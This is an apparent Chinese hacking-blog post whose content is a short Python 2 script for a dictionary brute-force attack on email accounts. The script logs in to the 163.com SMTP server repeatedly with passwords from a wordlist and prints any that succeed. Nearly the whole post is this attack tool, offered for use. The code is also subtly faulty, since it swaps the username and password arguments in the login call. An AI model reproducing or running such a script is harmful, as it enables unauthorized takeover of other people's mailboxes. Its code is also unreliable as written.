您的足迹:首页 > 神兵利器 >爆破邮箱小脚本

爆破邮箱小脚本

#!/usr/bin/env python
#coding:utf-8
 
from smtplib import SMTP as smtp
import optparse
import time
def scanemail(uname,upass):
        s=smtp("smtp.163.com")
        try:
                s.ehlo()  #发送ehlo命令,
                s.starttls() #初始化加密通道
                s.ehlo()  #再次发送ehlo,这次是加密的
                s.login(upass,uname)
        except Exception,LoginError:
                print "[-]:%s : %s" %(uname,upass)
        else:
                out="[+]:%s : %s" %(uname,upass)  #如果成功了,就返回真值
                print out
                return True
        return False
 
def main():
        parser=optparse.OptionParser("usage: ./prog.py"+"-u <username> -d <passwordfile>")
        parser.add_option('-u',dest='uname',type='string',help='specify email name')
        parser.add_option('-d',dest='passwdfile',type='string',help='specify dictionary file')
        (options,args)=parser.parse_args()
        if (options.uname==None) | (options.passwdfile==None):
                print parser.usage
                exit(0)
        else:
                uname=options.uname
                passwdfile=options.passwdfile
        passFile=open(passwdfile)
        for line in passFile.readlines():
                password=line.strip('\n')
                if scanemail(uname,password):
                        break
 
if __name__=='__main__':
        main()
本博客所有文章如无特别注明均为原创。作者:老王复制或转载请以超链接形式注明转自 极客中国-关注黑客与极客!
原文地址《爆破邮箱小脚本

相关推荐

发表评论

路人甲 表情
Ctrl+Enter快速提交

网友评论(0)